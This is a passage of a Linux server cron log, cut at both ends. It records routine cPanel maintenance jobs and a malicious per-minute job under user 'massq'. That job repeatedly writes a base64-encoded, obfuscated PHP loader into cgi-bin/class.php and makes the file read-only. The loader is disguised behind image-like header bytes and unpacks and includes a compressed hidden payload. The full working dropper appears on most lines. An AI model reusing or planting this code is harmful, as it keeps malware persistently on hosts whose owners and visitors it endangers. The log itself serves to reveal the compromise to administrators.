QKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:20:01 server CROND[27146]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 05:20:01 server CROND[27149]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 05:21:01 server CROND[27253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:22:01 server CROND[27301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:23:01 server CROND[27347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:24:01 server CROND[27385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:25:01 server CROND[27535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:25:01 server CROND[27536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:25:01 server CROND[27537]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:26:01 server CROND[27638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:27:01 server CROND[27696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:27:01 server CROND[27697]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 05:28:01 server CROND[27764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:29:01 server CROND[27811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:30:01 server CROND[27958]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Apr 12 05:30:01 server CROND[27959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 05:30:01 server CROND[27960]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:30:01 server CROND[27961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:30:01 server CROND[27962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:31:01 server CROND[28067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:32:01 server CROND[28108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:33:01 server CROND[28161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:34:01 server CROND[28209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR